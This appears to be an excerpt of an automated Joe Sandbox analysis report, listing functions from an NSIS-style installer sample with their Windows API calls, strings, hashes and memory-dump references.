Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: dec6db0c7b043789455d5ba444b9f0b4b6699da27fefac44a21b5edf9a5b929b
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: E321C3B1500704ABCB219F68EE08B4BBBF8AF40710F04896DF996F66A0C734E944CB64

Function 004051B4 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,0041D820,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,76F923A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,76F923A0), ref: 0040520F
SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction ID: bea5982b108369c56cf3d35f12f42b62494ffc2cb206b3c5387e037ca996873b
Opcode Fuzzy Hash: 183bef7a41385e3ccd61e2bddc5e3e752014e2c91baf1b93c875fecc4eda2183
Instruction Fuzzy Hash: B2219D71900518BBCB119FA5DD849DFBFB8EF45354F14807AF944B6290C7794A50CFA8

Function 00404A7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A99
GetMessagePos.USER32 ref: 00404AA1
ScreenToClient.USER32(?,?), ref: 00404ABB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404ACD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AF3

Strings

f, xrefs: 00404ACF

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 4e6aff0cdf26a8240c2caa3ab5eae10a4373f49143cb0f782fa754f2c80184c8
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: AE015E71A40219BADB00DB94DD85FFEBBBCAF55711F10012BBA51B61D0C7B49A058BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(0007350F,00000064,00073513), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction ID: 97815700fdd75a8fa64cd4b2fc5eb6b0a03b286ae4c71c47182b2025913274cc
Opcode Fuzzy Hash: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction Fuzzy Hash: 1801447060020DBFEF249F61DE49FEA3B69AB04304F008039FA45B91D0DBB889558F58

Function 00401D56 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401DD1

Strings

Calibri, xrefs: 00401DB7

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Calibri
API String ID: 3808545654-1409258342
Opcode ID: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction ID: 434465042c296b11fe85f1af20959402fdd5081aa20827676714b0861cca44ca
Opcode Fuzzy Hash: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction Fuzzy Hash: C301A231544640EFE7015BB0EF8AB9A3F74AB66301F208579E581B62E2C9B800559BAE

Function 100022D0 Relevance: 9.1, APIs: 6, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 10002416

Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C

GlobalAlloc.KERNEL32(00000040), ref: 10002397
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2

Memory Dump Source

Source File: 00000000.00000002.2128913504.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2128848115.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2128967473.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2129045974.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_14lVOjBoI2.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction ID: a8798eece1b67337def5fc6f06e905ed3cc6fca3e5836deafc22007a072d802d
Opcode Fuzzy Hash: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction Fuzzy Hash: A14190B1508305EFF320DF24D885AAA77F8FB883D0F50452DF9468619ADB34AA54DB61

Function 00402840 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402894
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC
CloseHandle.KERNEL32(?), ref: 00402914
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402928

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 93673c575230451abb0308dee03947b91720819ab8eaafde2c5768f7b1eff422
Instruction ID: bba7bc1bbfa323a43f965ccea5c6d76089a10f976336bb633e0bf1cd6394a54a
Opcode Fuzzy Hash: 93673c575230451abb0308dee03947b91720819ab8eaafde2c5768f7b1eff422
Instruction Fuzzy Hash: E1219E72800114BBDF216FA5CE49D9E7EB9EF09324F24023AF550762E1C7795E41DBA8

Function 00402537 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsr675C.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsr675C.tmp\System.dll,00000400,?,?,00000021), ref: 00402583
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsr675C.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsr675C.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsr675C.tmp\System.dll,00000400,?,?,00000021), ref: 0040258E

Strings

C:\Users\user\AppData\Local\Temp\nsr675C.tmp, xrefs: 0040257C
C:\Users\user\AppData\Local\Temp\nsr675C.tmp\System.dll, xrefs: 00402552, 00402575, 00402589, 004025D5

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsr675C.tmp$C:\Users\user\AppData\Local\Temp\nsr675C.tmp\System.dll
API String ID: 3109718747-794181135
Opcode ID: 3d2fa72be5f195c02a17edb7a7abc67028f461df84df2576b51681d351cbf091
Instruction ID: 733a5b8a3421de7103486a8e2fd1e7248c9e7ae9f3a69bb90da27b1d5488d101
Opcode Fuzzy Hash: 3d2fa72be5f195c02a17edb7a7abc67028f461df84df2576b51681d351cbf091
Instruction Fuzzy Hash: E011EB71A01205BBDB10AF718F49A9F3265DF44754F24403BF501F61C2EAFC9D91566D

Function 100018A9 Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001908
GlobalFree.KERNEL32(?), ref: 10001A93
GlobalFree.KERNEL32(?), ref: 10001A98

Memory Dump Source

Source File: 00000000.00000002.2128913504.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2128848115.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2128967473.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2129045974.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_14lVOjBoI2.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction ID: 56de187798276af1e94fdae5c91d23c4da0ac5596926d43ddda2a484f8c4ba85
Opcode Fuzzy Hash: 2b8b4b1e7525df0b70178d99aec232a76bf74dae3dcdb19d2f86b3abb44108d8
Instruction Fuzzy Hash: 82511336E06115ABFB14DFA488908EEBBF5FF863D0F16406AE801B315DD6706F809792

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction ID: 923876515d334741f157c0c1a16b9ae25b0374e488e2a62f99a19aca1c1d50f8
Opcode Fuzzy Hash: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction Fuzzy Hash: 4B116A71504119BFEF10AF90DF8CEAE7B79FB54384B10003AF905A11A0D7B49E55AA28

Function 100015FF Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,10002148,?,00000808), ref: 10001617
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,10002148,?,00000808), ref: 1000161E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,10002148,?,00000808), ref: 10001632
GetProcAddress.KERNEL32(10002148,00000000), ref: 10001639
GlobalFree.KERNEL32(00000000), ref: 10001642

Memory Dump Source

Source File: 00000000.00000002.2128913504.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2128848115.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2128967473.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2129045974.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_14lVOjBoI2.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction ID: 7647a3e7d8fb005f6fbf822ef0874fdc4783f8eaf5d0662476f5196d1f8db515
Opcode Fuzzy Hash: 06a7266b7a9176b24ef6afb6e544002b11bc6a2d13ae022cf9eb1808419c0062
Instruction Fuzzy Hash: 7CF098722071387BE62117A78C8CD9BBF9CDF8B2F5B114215F628921A4C6619D019BF1

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 8e0fabd36c2f6d3e7eeae66a254b8168ed1f2a4b1cc3225a820133a00fa4cc9f
Instruction ID: e4f3909cb7298d305a77c10ae8325f91f27f48586481a57425ae6c27891e8aa9
Opcode Fuzzy Hash: 8e0fabd36c2f6d3e7eeae66a254b8168ed1f2a4b1cc3225a820133a00fa4cc9f
Instruction Fuzzy Hash: 8AF0F472600504AFDB01DBE4DE88CEEBBBDEB48311B104476F501F51A1CA74DD018B38

Function 00404970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
wsprintfW.USER32 ref: 00404A1A
SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

%u.%u%s%s, xrefs: 004049FB

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction ID: def2e14d0b5e9bf745060eb8ff4f21dbd1799345f736686a8e00f38c04d15d9e
Opcode Fuzzy Hash: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction Fuzzy Hash: 3811EBB3A441287BDB10957D9C46EAF329C9B85374F250237FA65F31D1D978CC2182E8

Function 00401BDF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C3F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401C57

Strings

!, xrefs: 00401C13

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction ID: e3aefc4fd96fc6be6e01b9b250019d2d880820bae5141952ee5ed295407643d5
Opcode Fuzzy Hash: bb3cfb28f78b001f2c6e024d0600213de5f72616f9f3d873aed837dd9dfd9417
Instruction Fuzzy Hash: DA219071940209BEEF01AFB4CE4AABE7B75EB44344F10403EF601B61D1D6B89A409B68

Function 00405F22 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,00000002,Call,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F4C
RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F6D
RegCloseKey.ADVAPI32(?,?,00406195,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405F90

Strings

Call, xrefs: 00405F25

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119249308.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_14lVOjBoI2.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Call
API String ID: 3677997916-1824292864
Opcode ID: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction ID: 7b18913d2a4f7d1a63d21b64be8b0843a819b9ea39c2317e7442ba644687e02f
Opcode Fuzzy Hash: dc8238eba50b6a515ffb3eaa529f07d06f955d85da5af348ba8f56d7e8cd44ce
Instruction Fuzzy Hash: 1801483110060AAECB218F66ED08EAB3BA8EF94350F01402AFD44D2260D734D964CBA5

Function 00405A09 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A0F
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040328D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405A19
lstrcatW.KERNEL32(?,0040A014), ref: 00405A2B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A09

Memory Dump Source

Source File: 00000000.00000002.2118868010.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2118853247.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2118883252.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2119162564.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
